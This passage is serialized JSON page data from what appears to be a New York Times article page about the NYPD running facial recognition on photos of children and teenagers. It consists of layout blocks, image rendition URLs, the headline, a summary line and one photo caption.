filterEmpty.23":{"__typename":"Dropzone"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.24":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.25":{"__typename":"Dropzone"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.26":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.27":{"__typename":"Dropzone"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.28":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.29":{"__typename":"Dropzone"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.30":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.31":{"__typename":"Dropzone"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.32":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.33":{"__typename":"Dropzone"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.34":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.35":{"__typename":"Dropzone"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.36":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.37":{"__typename":"Dropzone"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.38":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.39":{"__typename":"Dropzone"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.40":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.41":{"__typename":"Dropzone"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.42":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.43":{"__typename":"Dropzone"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.44":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.45":{"__typename":"Dropzone"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.46":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.47":{"__typename":"Dropzone"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.48":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.49":{"__typename":"Dropzone"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.50":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.51":{"__typename":"Dropzone"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.52":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.53":{"__typename":"Dropzone"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.54":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.55":{"__typename":"Dropzone"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.56":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.57":{"__typename":"Dropzone"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.58":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.59":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.60":{"__typename":"Dropzone"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.61":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.62":{"__typename":"Dropzone"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.63":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.64":{"__typename":"Dropzone"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.65":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.66":{"__typename":"Dropzone"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.67":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.68":{"__typename":"Dropzone"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.69":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.70":{"__typename":"Dropzone"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.71":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.72":{"__typename":"Dropzone"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.73":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.74":{"__typename":"Dropzone"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.75":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.76":{"__typename":"Dropzone"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.77":{"__typename":"RelatedLinksBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.advertisingProperties":{"sensitivity":"SHOW_ADS","__typename":"CreativeWorkAdvertisingProperties"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.promotionalMedia.crops({\"renditionNames\":[\"thumbStandard\",\"thumbLarge\",\"watch308\",\"facebookJumbo\",\"videoSixteenByNineJumbo1600\",\"articleLarge\",\"superJumbo\"]}).0":{"name":"MASTER","renditions":[{"type":"id","generated":false,"id":"ImageRendition:images20190801nyregion01nypd-juveniles-promo01nypd-juveniles-promo-articleLarge.jpg","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190801nyregion01nypd-juveniles-promo01nypd-juveniles-promo-superJumbo.jpg","typename":"ImageRendition"}],"__typename":"ImageCrop"},"ImageRendition:images20190801nyregion01nypd-juveniles-promo01nypd-juveniles-promo-articleLarge.jpg":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F08\u002F01\u002Fnyregion\u002F01nypd-juveniles-promo\u002F01nypd-juveniles-promo-articleLarge.jpg","height":400,"width":600,"name":"articleLarge","__typename":"ImageRendition"},"ImageRendition:images20190801nyregion01nypd-juveniles-promo01nypd-juveniles-promo-superJumbo.jpg":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F08\u002F01\u002Fnyregion\u002F01nypd-juveniles-promo\u002F01nypd-juveniles-promo-superJumbo.jpg","height":1365,"width":2048,"name":"superJumbo","__typename":"ImageRendition"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.promotionalMedia.crops({\"renditionNames\":[\"thumbStandard\",\"thumbLarge\",\"watch308\",\"facebookJumbo\",\"videoSixteenByNineJumbo1600\",\"articleLarge\",\"superJumbo\"]}).1":{"name":"SMALL_SQUARE","renditions":[{"type":"id","generated":false,"id":"ImageRendition:images20190801nyregion01nypd-juveniles-promo01nypd-juveniles-promo-thumbStandard.jpg","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190801nyregion01nypd-juveniles-promo01nypd-juveniles-promo-thumbLarge.jpg","typename":"ImageRendition"}],"__typename":"ImageCrop"},"ImageRendition:images20190801nyregion01nypd-juveniles-promo01nypd-juveniles-promo-thumbStandard.jpg":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F08\u002F01\u002Fnyregion\u002F01nypd-juveniles-promo\u002F01nypd-juveniles-promo-thumbStandard.jpg","height":75,"width":75,"name":"thumbStandard","__typename":"ImageRendition"},"ImageRendition:images20190801nyregion01nypd-juveniles-promo01nypd-juveniles-promo-thumbLarge.jpg":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F08\u002F01\u002Fnyregion\u002F01nypd-juveniles-promo\u002F01nypd-juveniles-promo-thumbLarge.jpg","height":150,"width":150,"name":"thumbLarge","__typename":"ImageRendition"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.promotionalMedia.crops({\"renditionNames\":[\"thumbStandard\",\"thumbLarge\",\"watch308\",\"facebookJumbo\",\"videoSixteenByNineJumbo1600\",\"articleLarge\",\"superJumbo\"]}).2":{"name":"SIXTEEN_BY_NINE","renditions":[{"type":"id","generated":false,"id":"ImageRendition:images20190801nyregion01nypd-juveniles-promo01nypd-juveniles-promo-videoSixteenByNineJumbo1600.jpg","typename":"ImageRendition"}],"__typename":"ImageCrop"},"ImageRendition:images20190801nyregion01nypd-juveniles-promo01nypd-juveniles-promo-videoSixteenByNineJumbo1600.jpg":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F08\u002F01\u002Fnyregion\u002F01nypd-juveniles-promo\u002F01nypd-juveniles-promo-videoSixteenByNineJumbo1600.jpg","height":900,"width":1600,"name":"videoSixteenByNineJumbo1600","__typename":"ImageRendition"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.promotionalMedia.crops({\"renditionNames\":[\"thumbStandard\",\"thumbLarge\",\"watch308\",\"facebookJumbo\",\"videoSixteenByNineJumbo1600\",\"articleLarge\",\"superJumbo\"]}).3":{"name":"FACEBOOK","renditions":[{"type":"id","generated":false,"id":"ImageRendition:images20190801nyregion01nypd-juveniles-promo01nypd-juveniles-promo-facebookJumbo.jpg","typename":"ImageRendition"}],"__typename":"ImageCrop"},"ImageRendition:images20190801nyregion01nypd-juveniles-promo01nypd-juveniles-promo-facebookJumbo.jpg":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F08\u002F01\u002Fnyregion\u002F01nypd-juveniles-promo\u002F01nypd-juveniles-promo-facebookJumbo.jpg","height":550,"width":1050,"name":"facebookJumbo","__typename":"ImageRendition"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.promotionalMedia.crops({\"renditionNames\":[\"thumbStandard\",\"thumbLarge\",\"watch308\",\"facebookJumbo\",\"videoSixteenByNineJumbo1600\",\"articleLarge\",\"superJumbo\"]}).4":{"name":"WATCH","renditions":[{"type":"id","generated":false,"id":"ImageRendition:images20190801nyregion01nypd-juveniles-promo01nypd-juveniles-promo-watch308.jpg","typename":"ImageRendition"}],"__typename":"ImageCrop"},"ImageRendition:images20190801nyregion01nypd-juveniles-promo01nypd-juveniles-promo-watch308.jpg":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F08\u002F01\u002Fnyregion\u002F01nypd-juveniles-promo\u002F01nypd-juveniles-promo-watch308.jpg","height":348,"width":312,"name":"watch308","__typename":"ImageRendition"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.promotionalMedia":{"crops({\"renditionNames\":[\"thumbStandard\",\"thumbLarge\",\"watch308\",\"facebookJumbo\",\"videoSixteenByNineJumbo1600\",\"articleLarge\",\"superJumbo\"]})":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.promotionalMedia.crops({\"renditionNames\":[\"thumbStandard\",\"thumbLarge\",\"watch308\",\"facebookJumbo\",\"videoSixteenByNineJumbo1600\",\"articleLarge\",\"superJumbo\"]}).0","typename":"ImageCrop"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.promotionalMedia.crops({\"renditionNames\":[\"thumbStandard\",\"thumbLarge\",\"watch308\",\"facebookJumbo\",\"videoSixteenByNineJumbo1600\",\"articleLarge\",\"superJumbo\"]}).1","typename":"ImageCrop"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.promotionalMedia.crops({\"renditionNames\":[\"thumbStandard\",\"thumbLarge\",\"watch308\",\"facebookJumbo\",\"videoSixteenByNineJumbo1600\",\"articleLarge\",\"superJumbo\"]}).2","typename":"ImageCrop"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.promotionalMedia.crops({\"renditionNames\":[\"thumbStandard\",\"thumbLarge\",\"watch308\",\"facebookJumbo\",\"videoSixteenByNineJumbo1600\",\"articleLarge\",\"superJumbo\"]}).3","typename":"ImageCrop"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.promotionalMedia.crops({\"renditionNames\":[\"thumbStandard\",\"thumbLarge\",\"watch308\",\"facebookJumbo\",\"videoSixteenByNineJumbo1600\",\"articleLarge\",\"superJumbo\"]}).4","typename":"ImageCrop"}],"caption":{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.promotionalMedia.caption","typename":"TextOnlyDocumentBlock"},"__typename":"Image"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.promotionalMedia.caption":{"text":"","__typename":"TextOnlyDocumentBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.headline":{"textAlign":"LEFT","content":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.headline.content.0","typename":"TextInline"}],"__typename":"Heading1Block"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.headline.content.0":{"__typename":"TextInline","text@stripHtml":"She Was Arrested at 14. Then Her Photo Went to a Facial Recognition Database.","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.summary":{"textAlign":"LEFT","content":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.summary.content.0","typename":"TextInline"}],"__typename":"SummaryBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.summary.content.0":{"__typename":"TextInline","text":"With little oversight, the N.Y.P.D. has been using powerful surveillance technology on photos of children and teenagers.","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.ledeMedia":{"__typename":"ImageBlock","size":"MEDIUM","media":{"type":"id","generated":false,"id":"Image:SW1hZ2U6bnl0Oi8vaW1hZ2UvMmFkNGZlMzYtZjU5Zi01MjExLWExMmUtNmIxZjViY2UyZmEz","typename":"Image"}},"Image:SW1hZ2U6bnl0Oi8vaW1hZ2UvMmFkNGZlMzYtZjU5Zi01MjExLWExMmUtNmIxZjViY2UyZmEz":{"id":"SW1hZ2U6bnl0Oi8vaW1hZ2UvMmFkNGZlMzYtZjU5Zi01MjExLWExMmUtNmIxZjViY2UyZmEz","imageType":"photo","url":"\u002Fimagepages\u002F2019\u002F08\u002F01\u002Fnyregion\u002F00nypd-juveniles.html","uri":"nyt:\u002F\u002Fimage\u002F2ad4fe36-f59f-5211-a12e-6b1f5bce2fa3","credit":"Sarah Blesener for The New York Times","legacyHtmlCaption":"“It’s very disturbing to know that no matter what I’m doing at that moment, someone might be scanning my picture to try to find someone who committed a crime,” said Bailey, who pleaded guilty to an assault that occurred when she was 14.","crops({\"renditionNames\":[\"articleLarge\",\"jumbo\",\"superJumbo\",\"articleInline\",\"popup\"]})":[{"type":"id","generated":true,"id":"Image:SW1hZ2U6bnl0Oi8vaW1hZ2UvMmFkNGZlMzYtZjU5Zi01MjExLWExMmUtNmIxZjViY2UyZmEz.crops({\"renditionNames\":[\"articleLarge\",\"jumbo\",\"superJumbo\",\"articleInline\",\"popup\"]}).0","typename":"ImageCrop"},{"type":"id","generated":true,"id":"Image:SW1hZ2U6bnl0Oi8vaW1hZ2UvMmFkNGZlMzYtZjU5Zi01MjExLWExMmUtNmIxZjViY2UyZmEz.crops({\"renditionNames\":[\"articleLarge\",\"jumbo\",\"superJumbo\",\"articleInline\",\"popup\"]}).1","typename":"ImageCrop"}],"caption":{"type":"id","generated":true,"id":"$Image:SW1hZ2U6bnl0Oi8vaW1hZ2UvMmFkNGZlMzYtZjU5Zi01MjExLWExMmUtNmIxZjViY2UyZmEz.caption","typename":"TextOnlyDocumentBlock"},"__typename":"Image"},"ImageRendition:images20190730nyregion00nypd-juvenilesmerlin_157762122_e2d17c00-b58b-4baf-b9cb-4326ac7cbcef-articleLarge.jpg":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F07\u002F30\u002Fnyregion\u002F00nypd-juveniles\u002Fmerlin_157762122_e2d17c00-b58b-4baf-b9cb-4326ac7cbcef-articleLarge.jpg","name":"articleLarge","width":600,"height":900,"__typename":"ImageRendition"},"ImageRendition:images20190730nyregion00nypd-juvenilesmerlin_157762122_e2d17c00-b58b-4baf-b9cb-4326ac7cbcef-popup.jpg":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F07\u002F30\u002Fnyregion\u002F00nypd-juveniles\u002Fmerlin_157762122_e2d17c00-b58b-4baf-b9cb-4326ac7cbcef-popup.jpg","name":"popup","width":334,"height":500,"__typename":"ImageRendition"},"ImageRendition:images20190730nyregion00nypd-juvenilesmerlin_157762122_e2d17c00-b58b-4baf-b9cb-4326ac7cbcef-jumbo.jpg":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F07\u002F30\u002Fnyregion\u002F00nypd-juveniles\u002Fmerlin_157762122_e2d17c00-b58b-4baf-b9cb-4326ac7cbcef-jumbo.jpg","name":"jumbo","width":683,"height":1024,"__typename":"ImageRendition"},"ImageRendition:images20190730nyregion00nypd-juvenilesmerlin_157762122_e2d17c00-b58b-4baf-b9cb-4326ac7cbcef-superJumbo.jpg":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F07\u002F30\u002Fnyregion\u002F00nypd-juveniles\u002Fmerlin_157762122_e2d17c00-b58b-4baf-b9cb-4326ac7cbcef-superJumbo.jpg","name":"superJ